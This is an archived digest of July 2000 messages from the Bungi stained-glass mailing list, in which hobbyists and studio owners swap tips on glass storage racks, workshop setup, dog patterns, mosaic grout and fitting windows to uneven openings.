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From owner-glass Wed Jul 12 20:30:52 2000
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From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: [Fwd: Is bungi.com censored?]
Date: Wed, 12 Jul 2000 22:53:44 -0400
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studios
Precedence: bulk

Meant to send this to the group but forgot.  Sorry. - Cec

Cecily and Ralph Wood wrote:

> No, no - you misunderstood.  I think every time I edit a previous message
> and then send it to the group, it comes thu blank, so even I can't read
> it when it comes back to me.  Editing messages (snipping out irrelevant
> parts, mostly) is what other listservs expect, so you don't waste so much
> space, but I've not been successful on Bungi.
>
> Albert Lewis wrote:
>
> > > (I'd remove all of rrk's post except for the bit about seeing the
> > > Armstrong Glass from China - which we now know from an Armstrong
> > > representative is a knock-off - pirated name down to the item
> > > numbers, but I'm afraid to because I suspect this message would then
> > > become one of the blank ones.) - Cec
> >
> > I honestly don't think posts like RRK's are deleted by this group's
> > manager. Take a look at http://www.bungi.com/glass/digest-current and
> > you'll find that it's there, no problem, as are the responses to it,
> > including Michael Larson's from Armstrong Glass Company.
> >
> > Albert
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Thu Jul 13 02:50:52 2000
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From: "Toby" <toby@northlights.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: washing Sg ( was workshop guide)
Date: Thu, 13 Jul 2000 10:08:37 +0100
Message-ID: <200007130824.e6D8OGa02934@mercury.nildram.co.uk>
Precedence: bulk

Hello all,

One of the things I have found for storing glass and making sheets 
slide in and out easily is, GLASS itself.
At the bottom of my racks, I have cut 4-6 mm thick ordinary 
window glass  sized to fit. I just stack my coloured sheets on 
top.Also easy to keep clean.
It works for me....
Elisabeth 'n Toby in UK

> One of the annoying things in storing glass is that it doesn't want to s=
lide in and
> out of the slots very easily.  I wonder what kind of material could be u=
sed as the
> base?  Have to be something that doesn't cut.  Maybe the laminated stuff=
 you put on
> counters?  Wonder if there is some kind of teflon coated semi-hard surfa=
ce?  Sort of
> like the teflon coated dividers you sometimes find in public restrooms? =
 Or maybe a
> plastic of some kind?
> 
> "Elena Rod4r=EDguez Echebarria" wrote:
> 
> > Hello again
> > ANd thanks for the book info and tip, I had thought of using a small b=
ath (we get
> > here bath tubs you can only sit in), as some friends have in their wor=
k shop, or
> > even baby bath tub (plastic I thought would be best) at a handy height=
, but the
> > shower plate sounds even better;  I'll find out if I can get it in pvc=
 or some
> > other no-hard material. My next quest is for a good system to store wh=
ole sheets of
> > glass, I guess  thick wood posts separating compartiments, with some w=
ood palets
> > topped with carton/wood lining on the floor might do. I hope to get a =
plan of the
> > shop soon and be able to show you. If you think this might be posted t=
o the group,
> > let me know or post directly, as there has been some talk about this r=
ecently. I
> > don't mind myself. I appreciate very much all the ideas and help I get=
 from bungi.
> > Thanks once again and  have a nice day.
>
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Thu Jul 13 05:30:44 2000
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From: "sansu@sunrise-sunset.com" <sansu@sunrise-sunset.com>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Dog Patterns
Date: Thu, 13 Jul 2000 06:34:35 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I am looking for a pattern of a Cockapoo.  can't locate just yet.  Does
anyone have any ideas?

_____________________________________________
Free email with personality! Over 200 domains!
http://www.MyOwnEmail.com

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From owner-glass Thu Jul 13 07:00:49 2000
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HI ; I LOVE YOU BUT PLEASE STOP WITH ALL THE MAIL.AND NO MORE QUESTIONS. NO I 
DON,T KNOW  ANONE IN AFRICA THAT SELLS GLASS, I DON,T KNOW ANYONE IN INDIA 
THAT DOES COMMISSION WORK. ETC. I GET 50 LETTERS A DAY FROM BUNGI PLEASE 
STOP. THANK YOU FROM FORDS GLASS.

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Date: Wed, 12 Jul 2000 22:53:44 -0400
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Meant to send this to the group but forgot.  Sorry. - Cec

Cecily and Ralph Wood wrote:

> No, no - you misunderstood.  I think every time I edit a previous message
> and then send it to the group, it comes thu blank, so even I can't read
> it when it comes back to me.  Editing messages (snipping out irrelevant
> parts, mostly) is what other listservs expect, so you don't waste so much
> space, but I've not been successful on Bungi.
>
> Albert Lewis wrote:
>
> > > (I'd remove all of rrk's post except for the bit about seeing the
> > > Armstrong Glass from China - which we now know from an Armstrong
> > > representative is a knock-off - pirated name down to the item
> > > numbers, but I'm afraid to because I suspect this message would then
> > > become one of the blank ones.) - Cec
> >
> > I honestly don't think posts like RRK's are deleted by this group's
> > manager. Take a look at http://www.bungi.com/glass/digest-current and
> > you'll find that it's there, no problem, as are the responses to it,
> > including Michael Larson's from Armstrong Glass Company.
> >
> > Albert
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Thu Jul 13 08:00:44 2000
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From: <tuka@attcanada.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: square
Date: Thu, 13 Jul 2000 07:48:52 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I'd use screws rather than nails.... less chance of hitting the sg with a
hammer and easier to remove in future...

>
> make the window sq---   use zinc----  make sm  drill holes in the outer =
> edge of the zinc --- center the -SG>window in the opening silicone in =
> and drive small nails through your pre drilled openings at an angle  =
> since you have to build it smaller to fit the odd size opening this way =
> you can center exactly..


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From owner-glass Thu Jul 13 08:13:58 2000
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From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: washing Sg ( was workshop guide)
Date: Thu, 13 Jul 2000 15:55:43 +0100
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At 10:08 13/07/00 +0100, Elisabeth 'n Toby wrote:
>Hello all,
>
>One of the things I have found for storing glass and making sheets 
>slide in and out easily is, GLASS itself.

Wouldnt you have problems of the underneath glass splintering? When I look
at the bases of our racks - even those for 12" squares - I see grooves being
gouged out gradually in the wooden bases when the upright sheets are slid in
and out. 
And if glass sheets were moved in or out without extreme care - as happens
in our retail shop!! - you would get shelling or splintering of the sheets
themselves.

Regards
EliZabeth in Bournemouth
http://www.stainedglass.co.uk

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From owner-glass Thu Jul 13 08:32:39 2000
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From: CINDEL67@aol.com
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Subject: New workroom
Date: Thu, 13 Jul 2000 10:59:16 EDT
Message-ID: <1970Jan1.000.0>
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    I'm new to this board. I've been a "lurker" for about 3 weeks or so.  I 
decided to get everyone opinion and help.
    I will be moving to a new house next month and I am looking for ideas for 
designing a workshop.  I make things for my own pleasure and usually give 
things as gifts to family and friends.  I have a small light box and would 
like any ideas to building a table size light box.
    Any and all ideas to designing a workshop is greatly appreciated.  Are 
there any books out on the market with ideas and instructions?  Any websites 
for this kind of source?  I look forward to hear from you.

Cinda
Cindel67@aol.com
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From owner-glass Thu Jul 13 14:02:13 2000
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From: "Gordon K Johns" <gordon.johns@virgin.net>
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Content-Type: text/plain;
Subject: Alfred Werck
Date: Thu, 13 Jul 2000 19:49:00 +0100
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I wonder if anyone can help me?
I live in a late 19th century house just north of London, England. The
windows indorporate a number of stained-glass panels one of which is signed
Alfred Werck, London, 1910.
Does anyone have any information on the artist?

Gordon K Johns
gordonjohns@callnet0800.com

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From owner-glass Thu Jul 13 14:59:32 2000
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X-Path: home.net!esavad
From: "Mike Savad" <esavad@home.net>
To: "Cecily and Ralph Wood" <cecnralph@home.com>,
Content-Type: text/plain;
Subject: RE: washing Sg ( was workshop guide)
Date: Thu, 13 Jul 2000 17:37:05 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

tempered glass would probably work best, or at least real thick glass.
marble, granite (polishes). the are the only things i can think of that
won't really gouge up over time.


---Mike Savad


Mike's Stained Glass - Tips Tricks Photos
http://www.geocities.com/Paris/1141
4-6-2000 New Pages Added: 1 new tip page: Help buying stained glass, updated
info on the about me page, and 3 window set's for skycity. Including lot's
of new links, and more FREE PATTERN links.



> -----Original Message-----
> From: Cecily and Ralph Wood [mailto:cecnralph@home.com]
> Sent: Wednesday, July 12, 2000 10:23 PM
> To: elere@clientes.euskaltel.es; Bungi Glass
> Subject: Re: washing Sg ( was workshop guide)
>
>
> One of the annoying things in storing glass is that it doesn't
> want to slide in and
> out of the slots very easily.  I wonder what kind of material
> could be used as the
> base?  Have to be something that doesn't cut.  Maybe the
> laminated stuff you put on
> counters?  Wonder if there is some kind of teflon coated
> semi-hard surface?  Sort of
> like the teflon coated dividers you sometimes find in public
> restrooms?  Or maybe a
> plastic of some kind?
>
> "Elena Rod4ríguez Echebarria" wrote:
>
> > Hello again
> > ANd thanks for the book info and tip, I had thought of using a
> small bath (we get
> > here bath tubs you can only sit in), as some friends have in
> their work shop, or
> > even baby bath tub (plastic I thought would be best) at a handy
> height, but the
> > shower plate sounds even better;  I'll find out if I can get it
> in pvc or some
> > other no-hard material. My next quest is for a good system to
> store whole sheets of
> > glass, I guess  thick wood posts separating compartiments, with
> some wood palets
> > topped with carton/wood lining on the floor might do. I hope to
> get a plan of the
> > shop soon and be able to show you. If you think this might be
> posted to the group,
> > let me know or post directly, as there has been some talk about
> this recently. I
> > don't mind myself. I appreciate very much all the ideas and
> help I get from bungi.
> > Thanks once again and  have a nice day.
> > Best regards
> > Elena
> >
> > Cecily and Ralph Wood escribió:
> >
> > > It's me again - one of the neatest ideas I've seen is that
> one workshop
> > > installed a shower base rather than a laundry tub for washing
> projects.  They
> > > installed it at normal working height, but since it is what
> plumbers put under
> > > showers, it is square and about 3 or 4 feet on a side, and
> shallow.  Would make
> > > a really nice place to wash down glass projects, especially
> larger works.  I've
> > > also seen white laminate used as counter tops, which
> certainly would be nice.
> > > However, the two really professional shops just built their
> work tables of
> > > untreated raw wood, and just sanded the rough spots off.  One
> place really does
> > > almost exclusively came, not foil, and one table is reserved
> for cementing.
> > > What they have done under their tables is shallow shelves the
> same size as the
> > > table top, on which to store projects not yet completed.
> Good luck! - Cec
> > >
> > > "Elena Rod4ríguez Echebarria" wrote:
> > >
> > > > Hello Cecily and Ralph
> > > > And thank you for the information,; I am looking for
> something  about setting
> > > > up a professional studio, but I'll check out this one all
> the same, any hints
> > > > are wellcome. I am preparing a report which will be used to
> judge whether my
> > > > project for a professional SG workshop would be feasible (
> to get a subsidy)
> > > > and that's what I want the book for. If you can think of
> anything helpful in
> > > > that direction, please let me know.
> > > > Best regards
> > > > Elena
> > > >
> > > > Cecily and Ralph Wood escribió:
> > > >
> > > > > "Your Stained Glass Workshop" by Gene Mayo.  The ISBM is
> 0-936459-34-4.
> > > > > The glass online bookstore has it.  Or just do a search
> online for it.  It
> > > > > is just a little booklet and doesn't cost a lot. - Cec
> > > > >
> > > > > "Elena Rod4ríguez Echebarria" wrote:
> > > > >
> > > > > > HELLO GROUP
> > > > > > A while ago someone mentioned a book or guide to set up
> a stained glass
> > > > > > workshop, Can anyone tell me the title and where to get
> it? Thanks in
> > > > > > advance.
> > > > > > Elena
> > > > > >
> > > > > > ----
> > > > > > For subscription changes, please mail to:
> glass-request@bungi.com
> > > > > > To send to the list,      please mail to: glass@bungi.com
> > > > > > Archives available at http://www.bungi.com/glass
> > > > >
> > > > > --
> > > > >
> *********************************************************************
> > > > > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > > > > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > > > >
> *********************************************************************
> > >
> > > --
> > > *********************************************************************
> > > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > > *********************************************************************
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Thu Jul 13 15:09:51 2000
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X-Path: stainedglass.co.uk!studio
From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re:glass storage racks (was washing sg)
Date: Thu, 13 Jul 2000 22:29:45 +0100
Message-ID: <3.0.5.32.20000713222945.007b5690@mailhost.stainedglass.co.uk>
References: <<1970Jan1.000.0>>
Precedence: bulk

At 21:43 13/07/00 +0100, EliSabeth 'n Toby 'n Meric wrote:
>No, not if you grind down the edges a bit. Splinters and chips are 
>easily swept up. 

Hmm - not a thing I'd like to do in our shop - it would mean having to keep
a grinder by the racks and spending time whenever we cut off a piece for
sale grinding the cut edge before putting it back in the rack.  Too much
time when I have three or four people waiting to buy their glass!!
But obviously a possibility in a one-person studio - and fairly cheap I
imagine.

Regards
EliZabeth in Bournemouth
Bournemouth Stained Glass
http://www.stainedglass.co.uk
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From owner-glass Thu Jul 13 15:32:28 2000
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X-Path: sympatico.ca!tandg.higson
From: Gillian Higson <tandg.higson@sympatico.ca>
To: CINDEL67@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: New workroom
Date: Thu, 13 Jul 2000 18:07:18 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@l.pop50.bellglobal.com>>
Precedence: bulk

Hi Cinda
There is a book called "Your Stained Glass Workshop" bu Gene Mayo.  It shows you
how to build all sorts of things for your workshop.
Regards
Gillian

CINDEL67@aol.com wrote:

>     I'm new to this board. I've been a "lurker" for about 3 weeks or so.  I
> decided to get everyone opinion and help.
>     I will be moving to a new house next month and I am looking for ideas for
> designing a workshop.  I make things for my own pleasure and usually give
> things as gifts to family and friends.  I have a small light box and would
> like any ideas to building a table size light box.
>     Any and all ideas to designing a workshop is greatly appreciated.  Are
> there any books out on the market with ideas and instructions?  Any websites
> for this kind of source?  I look forward to hear from you.
>
> Cinda
> Cindel67@aol.com
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Thu Jul 13 15:33:47 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Mike Larson <armstrongglass@mindspring.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Proudly Manufactured in the USA
Date: Wed, 12 Jul 2000 09:19:30 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta4.snfc21.pbi.net>>
Precedence: bulk


Hi Mike,

Thanks for setting the record straight on this
matter.
I had rather hoped for that.

The temptation to use foreign suppliers such as
China
(there are others) due to economic incentives is
very
hard to resist for anyone in business these days.
I know.

You are fortunate in that the stained glass biz
only
involves economic issues.

Some years back I was involved in a
medically-oriented
project where the essential part of the project
involved cooling using solid-state refrigeration
devices
based on the Pelletier effect (thermoelectric
devices).
The price difference between American and Chinese
thermoelectric devices is substantial (about 4x at
the time).
Fortunately, so was the quality (failure rate)
<G>.
Thermoelectric devices are used for a variety of
purposes such as satellites both military and
commercial
(which generally contain hundreds of TED's),
cooling chips in PC's, night-vision devices used
by
the armed forces, and (this is the kicker) in
guidance
systems for missles and rockets.  If we had
standardized
on Chinese manufactured themoelectric devices, we
would
have been effectively subsidizing the Chinese
defense
industry.  Being an American as well as
fundamentally
opposed to the then current state of Chinese
international
and domestic politics, I found this unacceptable.
Fortunately,
my partners agreed with me and we were able to
use American manufactured thermoelectric devices.
It was not an obvious decision though.  One of my
partners
was a former fighter pilot during the 1939-1945
war
and was one of the Flying Tigers.  He was strongly
in favor
of using the Chinese parts.  Another of my
partners had
worked for the NSA and was also in favor of using
Chinese parts.  I was able to convince them that
it was
not in our interest to subsidize the Chinese
defense industry
though it did take some doing on my part.

Actually, I have no problem with using
Chinese-made
stained glass, or any other source of stained
glass
regardless of national origin IF it is labelled as
such.
Deliberate deception in the marketplace is not
acceptable however for reasons so obvious I won't
explain them.

A question for you :
How can we, as raw stained glass consumers, find
information about who the "US suppliers" of ...
shall we call it mismarked stained glass .. are?

Best regards .... Bob K.


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From owner-glass Thu Jul 13 16:02:20 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Peggy L Kinnetz <pkinnetz@juno.com>
Subject: Mosiacs - relevance of grout
Date: Thu, 13 Jul 2000 20:02:56 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

I think the grout is to  make the whole water proof.

Steve

In message <1970Jan1.000.0@?>, Peggy L Kinnetz <pkinnetz@juno.com>
writes
.....cut......
>
>So the question is do I need the grout to "hold in" the tiles after
>gluing them on. Is the grout optional? Or is it necessary to the strength
>and long life of the piece? 
>
>What do you all think?
>
>Peggy
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Thu Jul 13 16:03:51 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: "Spitzer, Charlie" <Charlie_Spitzer@stratus.com>
Subject: Re: square
Date: Thu, 13 Jul 2000 20:20:23 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

I agree with Charlie.  Make the window to the opening.  Don't worry
about what it should have been, only about what it now is.  If you have
a parallelogram as the opening, make a parallelogram.

Steve

In message <1970Jan1.000.0@?>, Spitzer, Charlie
<Charlie_Spitzer@stratus.com> writes
>well, if you don't make the panel so it follows the curve of the bottom,
>over time the panel will sag to meet the bottom sill anyway.
>
>regards,
>charlie
>phx, az
>
>> -----Original Message-----
>> From: Lorley Oneyear [mailto:lorley@home.com]
>> Sent: Tuesday, July 11, 2000 6:01 PM
>> To: glass@bungi.com
>> Subject: square
>> 
>> 
>> Hello, I'm planning on doing a floral panel for a window in one of my 
>> bathrooms. It's high above the tub and approx 10 high and 46" 
>> wide. I made 
>> a cardboard template of the opening and discovered that the 
>> opening sags a 
>> bit in the middle area of the window. Should I make my window 
>> a bit smaller 
>> so it is square? Or if I make it a bit smaller in the middle 
>> will my zinc 
>> frame be able to "bend" just a bit? (maybe 1/4" difference)
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Thu Jul 13 19:30:05 2000
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X-Path: mindspring.com!glassgirl
From: "cheryl zipf" <glassgirl@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Grout
Date: Thu, 13 Jul 2000 22:25:00 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000E_01BFED19.2EBBFB20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

what about glass cuts    even if it never gets  subjected to the =
elements

------=_NextPart_000_000E_01BFED19.2EBBFB20
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>what about glass cuts&nbsp;&nbsp;&nbsp; =
even if it=20
never gets&nbsp; subjected to the elements</FONT></DIV></BODY></HTML>

------=_NextPart_000_000E_01BFED19.2EBBFB20--

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From owner-glass Thu Jul 13 20:00:07 2000
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From: "cheryl zipf" <glassgirl@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: cockapoo
Date: Thu, 13 Jul 2000 22:34:38 -0700
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This is a multi-part message in MIME format.

------=_NextPart_000_0033_01BFED1A.87890620
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	charset="iso-8859-1"
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Take a picture of the dog  get  color projector. put a piece of graph =
paper on the wall trace the dog. modifiy for  glass.

------=_NextPart_000_0033_01BFED1A.87890620
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Take a picture of the dog&nbsp; =
get&nbsp; color=20
projector. put a piece of graph paper on the wall trace the dog. modifiy =
for =20
glass.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0033_01BFED1A.87890620--

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From owner-glass Thu Jul 13 20:02:54 2000
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Inspiration
Date: Thu, 13 Jul 2000 22:37:09 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I do a lot of original designs.  Lately I have taken to carrying my
camera around with me (a fairly cheap SLR) and I take pictures of
everything - not just the granddaughter.  I have a scanner, so I can
scan the pictures and import them into my computer and use them for
design work.  Lately I've been places and gotten pictures that have just
inspired me, from the butterflies at Hershey Gardens to (just yesterday)
the tall ships of OpSail 2000 in Connecticut.  Also my photos are
getting better.  So I've been designing away, have a backlog of designs
to do, and hope to have new stuff for the fall to go with the old
standby angels, etc..

It's kind of fun and you find yourself looking at something and
thinking, "Could I use that in a design?  Which flower would be best?"
And it's a good reason to go out, get away from the house when you've
been working too hard, because you're not REALLY goofing off, just
looking for new ideas.

Dorothy, who enjoyed herself immensely at OpSail.



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From owner-glass Thu Jul 13 20:29:52 2000
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X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: <CINDEL67@aol.com>
Content-Type: text/plain;
Subject: Re: New workroom
Date: Thu, 13 Jul 2000 09:09:21 -0700
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Organization: weaver51@teleport.com
Precedence: bulk

should be a TON of information in the archives, as we have gone into this in
GREAT depth!

H
weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From: Mary Austin <diamonds2@ameritech.net>
To: "sansu@sunrise-sunset.com" <sansu@sunrise-sunset.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Dog Patterns
Date: Thu, 13 Jul 2000 23:35:28 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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I'm also looking for a pattern of a Welsh Corgi dog if anyone has one. I'm
sorry I can't help on the Cockapoo one.

Mary Austin
diamonds2@ameritech.net

"sansu@sunrise-sunset.com" wrote:

> I am looking for a pattern of a Cockapoo.  can't locate just yet.  Does
> anyone have any ideas?
>
> _____________________________________________
> Free email with personality! Over 200 domains!
> http://www.MyOwnEmail.com
>
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From owner-glass Thu Jul 13 22:30:56 2000
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From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Dog Patterns
Date: Fri, 14 Jul 2000 01:30:34 -0400
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You might want to check out two books that have breed patterns. One is from
West of the Moon Publications, and it is titled Dog Breeds #1. The other is
titled A Dog Show in Stained Glass. I can't tell you who has that one
published.
Good Luck!
Sarah

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From owner-glass Fri Jul 14 02:30:45 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: Get together
Date: Fri, 14 Jul 2000 10:53:38 +0200
Message-ID: <1970Jan1.000.0>
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Wish I could just pop over from sunny Spain to Sunny Fla and join up with
ya!!

Post how it went!
Kira
Madrid
-----Mensaje original-----
De: Skip Hodge <shodge@gdi.net>
Para: Glass@bungi.com <Glass@bungi.com>
Fecha: martes 11 de julio de 2000 0:24
Asunto: Get together


>Hello Fellow Bungians,
>
>It occurs to me that there must be quite a few Bungians in the Central
>Florida area. I am thinking that we should have a get together one of
>these evenings before summer ends. Anybody interested can send me an
>e-mail and I will co-ordinate the time and place.
>
>Skip
>----
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From owner-glass Fri Jul 14 02:32:51 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: Inspiration
Date: Fri, 14 Jul 2000 10:22:41 +0200
Message-ID: <1970Jan1.000.0>
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Dorothy,

I do the same thing!!

I was taught when I was studying design that we should take inspiration from
everywhere around us, literally!!  I had already learned that at an very
early age with my father, he is a prof. photographer.  I can remember him
taking pictures of an old brick wall or the wood on a 100 yr old bard and
people standing around and scratching their heads agog like, "what is that
fool taking a picture of!".

You go girl!  A good tip (something my father does) is carry around with you
a cheap camer, that takes good pics. in your car glove box.  You just never
know!

Kira
-----Mensaje original-----
De: Family Account <shad@mail2.nai.net>
Para: glass@bungi.com <glass@bungi.com>
Fecha: viernes 14 de julio de 2000 5:01
Asunto: Inspiration


>I do a lot of original designs.  Lately I have taken to carrying my
>camera around with me (a fairly cheap SLR) and I take pictures of
>everything - not just the granddaughter.  I have a scanner, so I can
>scan the pictures and import them into my computer and use them for
>design work.  Lately I've been places and gotten pictures that have just
>inspired me, from the butterflies at Hershey Gardens to (just yesterday)
>the tall ships of OpSail 2000 in Connecticut.  Also my photos are
>getting better.  So I've been designing away, have a backlog of designs
>to do, and hope to have new stuff for the fall to go with the old
>standby angels, etc..
>
>It's kind of fun and you find yourself looking at something and
>thinking, "Could I use that in a design?  Which flower would be best?"
>And it's a good reason to go out, get away from the house when you've
>been working too hard, because you're not REALLY goofing off, just
>looking for new ideas.
>
>Dorothy, who enjoyed herself immensely at OpSail.
>
>
>
>----
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From owner-glass Fri Jul 14 07:03:03 2000
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X-Path: home.com!maryloueveland
From: "Mary Lou Eveland" <maryloueveland@home.com>
To: <glass@bungi.com>
Subject: Archives
Date: Fri, 14 Jul 2000 08:32:27 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Speaking of archives, do we have a searchable archive now?  I went to the
IGGA site and tried to search there but I couldn't get it to work.

Mary Lou Eveland

----- Original Message -----
From: "Howard" <weaver51@teleport.com>
To: <CINDEL67@aol.com>
Sent: Thursday, July 13, 2000 11:09 AM
Subject: Re: New workroom


should be a TON of information in the archives, as we have gone into this in
GREAT depth!

H
weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Fri Jul 14 07:33:03 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: Archives
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Fri, 14 Jul 2000 10:12:59 +0000
Message-ID: <200007141410.KAA27611@alpha.nad.adelphia.net>
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> Speaking of archives, do we have a searchable archive now?  I went
> to the IGGA site and tried to search there but I couldn't get it to
> work.

Glenna keeps the archives at http://www.bungi.com/glass/

Page down a couple and you'll see them arranged by month.
----
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From owner-glass Fri Jul 14 08:57:43 2000
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From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Glass show in Denver
Date: Fri, 14 Jul 2000 08:29:50 -0700 (PDT)
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I am not ready to submit any glass to shows but I would make the drive to one to see what kind of things are submitted there.  When and where is the show and is there some kind of door fee?
James Garner
___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From: "Mary Lou Eveland" <maryloueveland@home.com>
To: <glass@bungi.com>
Subject: Re: Archives
Date: Fri, 14 Jul 2000 10:32:49 -0500
Message-ID: <1970Jan1.000.0>
References: <<200007141410.KAA27611@alpha.nad.adelphia.net>>
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I know about that site.  What I was looking for was a site that had a search
engine so you could enter a word such as "putty" and find all of the emails
that contained the word "putty".  I thought there were some people working
on cleaning up the archives and putting them in a searchable form.  The only
way to do it now is to go through each and everyone of the emails month by
month.


----- Original Message -----
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: <glass@bungi.com>
Sent: Friday, July 14, 2000 5:12 AM
Subject: Re: Archives



> Speaking of archives, do we have a searchable archive now?  I went
> to the IGGA site and tried to search there but I couldn't get it to
> work.

Glenna keeps the archives at http://www.bungi.com/glass/

Page down a couple and you'll see them arranged by month.
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From owner-glass Fri Jul 14 09:35:25 2000
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From: Depdee70@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: nk
Date: Fri, 14 Jul 2000 12:07:16 EDT
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hi it would be nice to get to know peoply from Ill. who are working on 
stained glass      Dee W.    depdee70@aol.com
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From owner-glass Fri Jul 14 10:15:45 2000
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X-Path: home.com!maryloueveland
From: "Mary Lou Eveland" <maryloueveland@home.com>
To: "jazzykid" <jazzykid@tir.com>,
Subject: Re: Archives
Date: Fri, 14 Jul 2000 11:46:36 -0500
Message-ID: <1970Jan1.000.0>
